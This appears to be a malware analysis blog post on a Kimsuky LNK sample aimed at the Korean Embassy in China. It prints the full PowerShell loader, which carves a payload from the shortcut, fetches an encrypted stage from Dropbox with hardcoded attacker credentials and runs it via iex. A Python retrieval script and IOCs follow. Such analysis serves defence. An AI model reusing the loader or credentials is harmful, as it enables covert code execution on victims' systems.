Kimsuky 4
Introduction
Finally today we look take a look at another Kimsuky sample that was uploaded by our fellow researcher Neo on X. This time, the group set its sights on the Embassy of the Republic of Korea in China, leveraging a devious .lnk file as the initial attack vector . APT groups, like Kimsuky, exploit LNK files because they disguise malicious payloads as familiar shortcuts. These seemingly harmless icons trick targets into clicking, which then triggers the download and execution of malware that steals sensitive information or grants unauthorized access to systems.
VT shows a result of 30/59. Looks like Kimsuky has scored well on the test today. We can see the Kimsuky family label already detected through the signatues.
LNK Parser
We will use a tool called LnkParse that allows us to view the content of Windows shortcut (.LNK) files in a JSON format. We can see alot of powershell code that’s being ran as command line on elevated permissions. Let’s clean the script using word wrap and filter based on basic regex.
Powershell Analysis
This PowerShell script is designed to download and execute a malicious payload from a Dropbox account. It employs various techniques to obfuscate its functionality and evade detection. Here’s a breakdown of the code :
1
/c powershell -windowstyle hidden -nop -NoProfile -NonInteractive -c "$tmp = '%temp%';
- This line is used to launch PowerShell in a hidden window, without any profile loading, and with the execution of the subsequent code. The %temp% environment variable is assigned to the $tmp variable, which will be used later in the script.
1
2
3
4
5
6
7
8
9
10
11
12
$lnkpath = Get-ChildItem *.lnk;
foreach ($path in $lnkpath)
{
if ($path.length -eq 0x0010F27C) {
$lnkpath = $path;
}
}
foreach ($item in $lnkpath)
{
$lnkpath = $item.Name;
}
- This code is used to search for a specific LNK (Windows shortcut) file in the current directory. The script iterates through all LNK files and checks if their length matches a specific value (0x0010F27C). If a match is found, the file path is stored in the $lnkpath variable. This specific file length value is likely a hardcoded identifier for a particular malicious LNK file.
1
2
3
4
$InputStream = New-Object System.IO.FileStream($lnkpath, [IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$file=New-Object Byte[]($InputStream.length);
$len=$InputStream.Read($file,0,$file.Length);
$InputStream.Dispose();write-host "readfileend";
- These lines open the identified LNK file for reading, create a byte array with the same length as the file, read the file contents into the byte array, and then dispose of the input stream. The write-host “readfileend” line is likely used for debugging or logging purposes.
1
2
3
4
5
6
7
8
9
10
$path = $lnkpath.substring(0,$lnkpath.length-4);
$path1 = '%temp%\tmp' + (Get-Random) + '.vbs';
$len1 = 1057248
;$len2 = 1110496;
$len3 = 1110496;
$temp = New-Object Byte[]($len2-$len1);write-host "exestart";
for($i=$len1; $i -lt $len2; $i++) {
$temp[$i-$len1] = $file[$i]
};
sc $path ([byte[]]$temp) -Encoding Byte;write-host "exeend";
In this section, the script extracts a portion of the LNK file’s byte array ($file) between the offsets $len1 and $len2. This extracted byte array ($temp) is then written to a file with the same name as the LNK file but without the “.lnk” extension. The sc command is likely an alias or a custom function that creates or modifies this file.
The $path1 variable is assigned a random name with a “.vbs” extension in the temporary directory (%temp%). This VBS file may be used for further malicious activities or as a temporary file for staging purposes.
1
2
3
4
5
$temp = New-Object Byte[]($file.Length-$len3);
for($i=$len3; $i -lt $file.Length; $i++) {
$temp[$i-$len3] = $file[$i]
};
$encData_b64 = Start-Process -FilePath $path;[System.IO.File]::Delete($lnkpath);
- This code extracts another portion of the LNK file’s byte array, starting from the offset $len3 until the end of the file. The extracted bytes are stored in the $temp array. The script then launches the previously created file ($path) using the Start-Process cmdlet, likely executing the extracted payload. Finally, the original LNK file is deleted using [System.IO.File]::Delete($lnkpath).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Function AESDecrypt {
param ( [Byte[]]$bytes,[String]$pass="pa55w0rd")
$InputStream = New-Object System.IO.MemoryStream(,$bytes);
$OutputStream = New-Object System.IO.MemoryStream;
$Salt = New-Object Byte[](32);
$BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);
if ( $BytesRead -ne $Salt.Length ) {
exit;
}
$PBKDF2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);
$AESKey = $PBKDF2.GetBytes(32);
$AESIV = $PBKDF2.GetBytes(16);
$AES = New-Object Security.Cryptography.AesManaged;
$Dec = $AES.CreateDecryptor($AESKey, $AESIV);$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);
$CryptoStream.CopyTo($OutputStream);
$OutputStream.Dispose();return $OutputStream.ToArray();
}
- This function, AESDecrypt, is responsible for decrypting data using the AES (Advanced Encryption Standard) algorithm. It takes a byte array ($bytes) and an optional password ($pass) as input parameters. The function reads the salt value from the input byte array, derives the AES key and initialization vector (IV) using the PBKDF2 (Password-Based Key Derivation Function 2) algorithm with the provided password, creates an AES decryptor object, and decrypts the input data using a CryptoStream. The decrypted data is returned as a byte array.
1
2
3
4
5
6
7
8
9
10
11
12
$clientID = "oj8kd1lzqrw7v3m";
$clientSecret = "vwp27gytekx9jfq";
$refreshToken = "wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u";
$body = @{grant_type="refresh_token";refresh_token=$refreshToken;
client_id=$clientID;
client_secret=$clientSecret};
$tokenEndpoint = "https://api.dropboxapi.com/oauth2/token";
$response = Invoke-RestMethod -Uri $tokenEndpoint -Method Post -Body $body;
if ($response.access_token) {
$accessToken = $response.access_token;
}
- This section of the code appears to be authenticating with the Dropbox API using a refresh token and client credentials. The $clientID, $clientSecret, and $refreshToken variables contain hardcoded values specific to a Dropbox application or account. The script sends a POST request to the Dropbox token endpoint (https://api.dropboxapi.com/oauth2/token) with the required parameters to obtain an access token. If the response contains an access token, it is stored in the $accessToken variable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$downloadUrl = "https://content.dropboxapi.com/2/files/download";
$remoteFilePath = "/step5/ps.bin";
$request = [System.Net.HttpWebRequest]::Create($downloadUrl);
$request.Method = "POST";$request.Headers.Add("Authorization", "Bearer $accessToken");
$request.Headers.Add("Dropbox-API-Arg", '{\"path\": \"' + $remoteFilePath + '\"}');
$response = $request.GetResponse();
$receiveStream = $response.GetResponseStream();
$pass = "pa55w0rd";
if ($receiveStream -ne $null) {
$streamReader = New-Object System.IO.StreamReader($receiveStream);
$memoryStream = New-Object System.IO.MemoryStream;
$buffer = New-Object byte[] 1024;
$read = 0;
do {
$read = $receiveStream.Read($buffer, 0, $buffer.Length);$memoryStream.Write($buffer, 0, $read);
} while ($read -gt 0);
$enc_bytes = $memoryStream.ToArray();
$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;
$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);
iex $newString;$memoryStream.Close();
$streamReader.Close();
};
$receiveStream.Close();$response.Close();
In this final section, the script uses the obtained access token to download a file (/step5/ps.bin) from the Dropbox API. It creates an HTTP request with the appropriate headers, including the access token and the file path. The response stream is then read into a memory stream, and the received data is decrypted using the AESDecrypt function with the hardcoded password “pa55w0rd”.
The decrypted data is converted to a string ($newString) using UTF-8 encoding, and the Invoke-Expression (iex) cmdlet is used to execute the content of this string. This is a common technique used by malware to execute arbitrary code or payloads.
Finally, the script cleans up by closing the memory stream, stream reader, response stream, and response object.
Overall, this script appears to be a sophisticated malware that downloads and executes a malicious payload from a Dropbox account. It employs various obfuscation techniques, such as hardcoded values, file manipulation, and encryption/decryption, to evade detection and analysis. The script also leverages the Dropbox API for authentication and file retrieval, making it more challenging to detect and block. This is my first time seeing Kimsuky employ something other than hardcore powershell script that connects back to C2, maybe they’re trying something new who knows.z
What’s Next ?
I wrote a python equivalent script to get the ps5.bin file. Unfortunately the refresh token has expired and the auth is unable to take place ;(
According to Microsoft’s Website
Token lifetime
Refresh tokens have a longer lifetime than access tokens. The default lifetime for the refresh tokens is 24 hours for single page apps and 90 days for all other scenarios. Refresh tokens replace themselves with a fresh token upon every use.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
CLIENT_ID = "oj8kd1lzqrw7v3m"
CLIENT_SECRET = "vwp27gytekx9jfq"
REFRESH_TOKEN = "wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u"
body = {
"grant_type": "refresh_token",
"refresh_token": REFRESH_TOKEN,
"client_id": CLIENT_ID,
"client_secret": CLIENT_SECRET
}
token_endpoint = "https://api.dropboxapi.com/oauth2/token"
try:
response = requests.post(token_endpoint, data=body)
response.raise_for_status()
access_token = response.json()["access_token"]
except requests.exceptions.RequestException as e:
print(f"Failed to refresh access token: {e}")
exit(1)
download_url = "https://content.dropboxapi.com/2/files/download"
remote_file_path = "/step5/ps.bin"
headers = {"Authorization": f"Bearer {access_token}"}
try:
params = {"path": remote_file_path}
response = requests.post(download_url, headers=headers, params=params)
response.raise_for_status()
received_data = response.content
output_file = "payload.bin"
with open(output_file, "wb") as f:
f.write(received_data)
print("File downloaded successfully!")
except requests.exceptions.RequestException as e:
print(f"Error downloading file: {e}")
If someone can find me the next ps5.bin I’d really appreciate it . Maybe this sample was part of testing or it was meant to be used on a specific target. Must be my bad luck that this return of Kimsuky coudn’t provide much.
The LNK file also drops a HWP(Hangul Word Processor) file which seems to target Korean Embassy in China.
YARA Rules
You can find many YARA hits on the bazaar page .
IOC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MD5
a4bd6d00abbd79ab00161ff538cfe703
SHA-1
075d7249d09f14cbf0a4ffcb077c77512d3ab9a0
SHA-256
fe156159a26f8b7c140db61dd8b136e1c8103a800748fe9b70a3a3fdf179d3c3
URL
hxxps://api.dropboxapi.com/oauth2/token/
hxxps://content.dropboxapi.com/2/files/download
CLIENT_ID = "oj8kd1lzqrw7v3m"
CLIENT_SECRET = "vwp27gytekx9jfq"
REFRESH_TOKEN = "wR3_ULk2OicAAAAAAAAAAV81-_COcFPa8SN0V5K-ZPTYB-BVIH5E1c4_fqLOCC_u"
Thank You for reading this till the end ❤
Discord somedieyoungzz
Twitter https://twitter.com/IdaNotPro